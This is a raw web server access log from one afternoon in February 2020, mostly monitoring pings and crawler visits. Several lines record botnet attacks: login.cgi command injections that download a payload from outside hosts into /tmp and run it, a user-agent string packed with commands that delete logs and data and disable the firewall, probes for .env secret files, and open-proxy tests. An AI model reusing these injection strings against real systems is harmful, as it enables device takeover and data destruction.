178.130.115.129 - - [27/Feb/2020:14:36:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [27/Feb/2020:14:37:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:38:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:39:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.11.136.67 - - [27/Feb/2020:14:39:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:14:40:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:41:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:42:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:43:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:44:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:45:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.6.232.9 - - [27/Feb/2020:14:46:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:14:46:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:47:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
84.145.250.220 - - [27/Feb/2020:14:47:28 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
61.68.205.202 - - [27/Feb/2020:14:47:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:14:48:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:49:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:50:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:51:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:52:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:53:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.101.138.212 - - [27/Feb/2020:14:54:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:14:54:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:55:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:56:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:57:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:58:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.108.84.121 - - [27/Feb/2020:14:59:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:14:59:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:15:00:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:15:01:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.144.15.189 - - [27/Feb/2020:15:01:33 +0100] "GET /.env.test HTTP/1.1" 404 314 "-" "curl/7.58.0"
18.144.15.189 - - [27/Feb/2020:15:01:33 +0100] "GET /.env.test HTTP/1.1" 404 314 "-" "curl/7.58.0"
212.91.246.72 - - [27/Feb/2020:15:02:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:15:03:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.172.14.86 - - [27/Feb/2020:15:04:18 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:15:04:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
199.58.86.211 - - [27/Feb/2020:15:04:26 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
199.58.86.211 - - [27/Feb/2020:15:04:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
46.229.168.144 - - [27/Feb/2020:15:04:35 +0100] "GET /robots.txt HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; SemrushBot/6~bl; +http://www.semrush.com/bot.html)"
46.229.168.142 - - [27/Feb/2020:15:04:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; SemrushBot/6~bl; +http://www.semrush.com/bot.html)"
46.229.168.147 - - [27/Feb/2020:15:04:39 +0100] "GET /sitemap.xml HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; SemrushBot/6~bl; +http://www.semrush.com/bot.html)"
212.91.246.72 - - [27/Feb/2020:15:05:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:15:06:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:15:07:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:15:08:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
179.109.2.30 - - [27/Feb/2020:15:08:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:15:09:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:15:10:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:15:11:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [27/Feb/2020:15:11:48 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [27/Feb/2020:15:12:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:15:13:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [27/Feb/2020:15:13:49 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
222.186.19.221 - - [27/Feb/2020:15:14:01 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [27/Feb/2020:15:14:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:15:15:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:15:16:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [27/Feb/2020:15:16:33 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [27/Feb/2020:15:17:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:15:18:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:15:19:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:15:20:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [27/Feb/2020:15:20:51 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [27/Feb/2020:15:21:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:15:22:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.73.117 - - [27/Feb/2020:15:23:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
175.136.121.33 - - [27/Feb/2020:15:23:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [27/Feb/2020:15:23:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
157.55.39.23 - - [27/Feb/2020:15:24:23 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
212.91.246.72 - - [27/Feb/2020:15:24:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
157.55.39.185 - - [27/Feb/2020:15:24:30 +0100] "GET /seiten/kontroll.htm HTTP/1.1" 404 336 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
212.91.246.72 - - [27/Feb/2020:15:25:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [27/Feb/2020:15:25:39 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [27/Feb/2020:15:26:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.221.77 - - [27/Feb/2020:15:27:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
18.144.15.189 - - [27/Feb/2020:15:27:09 +0100] "GET /.env.example HTTP/1.1" 404 317 "-" "curl/7.58.0"
18.144.15.189 - - [27/Feb/2020:15:27:09 +0100] "GET /.env.example HTTP/1.1" 404 317 "-" "curl/7.58.0"
192.241.221.77 - - [27/Feb/2020:15:27:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [27/Feb/2020:15:27:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.148.21.149 - - [27/Feb/2020:15:28:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [27/Feb/2020:15:28:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.221.77 - - [27/Feb/2020:15:29:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.221.77 - - [27/Feb/2020:15:29:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [27/Feb/2020:15:29:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.221.77 - - [27/Feb/2020:15:29:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [27/Feb/2020:15:30:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.221.77 - - [27/Feb/2020:15:30:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.221.77 - - [27/Feb/2020:15:31:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [27/Feb/2020:15:31:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.221.77 - - [27/Feb/2020:15:32:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [27/Feb/2020:15:32:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [27/Feb/2020:15:33:04 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [27/Feb/2020:15:33:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:15:34:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:15:35:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [27/Feb/2020:15:35:30 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
184.4.121.14 - - [27/Feb/2020:15:35:45 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
177.36.198.4 - - [27/Feb/2020:15:35:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
124.90.54.67 - - [27/Feb/2020:15:36:09 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.01719037 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:15:36:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:15:37:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:15:38:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
200.53.31.181 - - [27/Feb/2020:15:38:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:15:39:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:15:40:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:15:41:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:15:42:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:15:43:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [27/Feb/2020:15:43:57 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [27/Feb/2020:15:44:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:15:45:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:15:46:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.83.67.175 - - [27/Feb/2020:15:47:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0"
212.91.246.72 - - [27/Feb/2020:15:47:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:15:48:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:15:49:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:15:50:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.31.85.104 - - [27/Feb/2020:15:51:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [27/Feb/2020:15:51:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [27/Feb/2020:15:51:40 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [27/Feb/2020:15:52:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.144.15.189 - - [27/Feb/2020:15:52:36 +0100] "GET /.env.backup HTTP/1.1" 404 316 "-" "curl/7.58.0"
18.144.15.189 - - [27/Feb/2020:15:52:36 +0100] "GET /.env.backup HTTP/1.1" 404 316 "-" "curl/7.58.0"
212.91.246.72 - - [27/Feb/2020:15:53:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.73.194 - - [27/Feb/2020:15:53:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [27/Feb/2020:15:54:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.213.75.248 - - [27/Feb/2020:15:55:25 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
110.177.80.180 - - [27/Feb/2020:15:55:25 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
212.91.246.72 - - [27/Feb/2020:15:55:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.94.212.52 - - [27/Feb/2020:15:55:26 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
122.233.180.11 - - [27/Feb/2020:15:55:29 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
112.80.139.231 - - [27/Feb/2020:15:55:29 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
221.213.75.71 - - [27/Feb/2020:15:55:31 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
122.96.29.151 - - [27/Feb/2020:15:55:32 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
171.34.179.57 - - [27/Feb/2020:15:55:32 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
27.224.136.27 - - [27/Feb/2020:15:55:32 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:15:56:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:15:57:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:15:58:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:15:59:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:00:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:01:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:02:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:03:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.163.73.48 - - [27/Feb/2020:16:04:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:16:04:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:05:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:06:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:07:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:08:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:16:09:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
